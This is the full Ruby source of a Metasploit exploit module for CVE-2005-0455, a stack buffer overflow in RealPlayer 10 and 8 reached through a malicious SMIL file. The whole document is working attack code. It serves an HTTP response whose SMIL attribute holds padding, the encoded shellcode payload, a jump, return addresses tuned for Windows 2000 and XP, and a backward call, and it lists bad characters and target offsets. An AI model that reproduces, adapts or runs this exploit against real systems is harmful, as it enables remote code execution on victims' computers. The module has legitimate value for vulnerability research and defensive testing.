RealNetworks RealPlayer – ‘.SMIL’ Remote Buffer Overflow (Metasploit)
## # $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8. By creating a URL link to a malicious SMIL file, a remote attacker could overflow a buffer and execute arbitrary code. When using this module, be sure to set the URIPATH with an extension of '.smil'. This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8 build 6.0.9.584. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2005-0455' ], [ 'OSVDB', '14305'], [ 'BID', '12698' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ], [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Mar 1 2005', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) cruft = rand_text_alpha_upper(1) bleh = rand_text_alpha_upper(11) sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V') sploit << [0xe8, -485].pack('CV') # Build the HTML content content = "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>" content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end |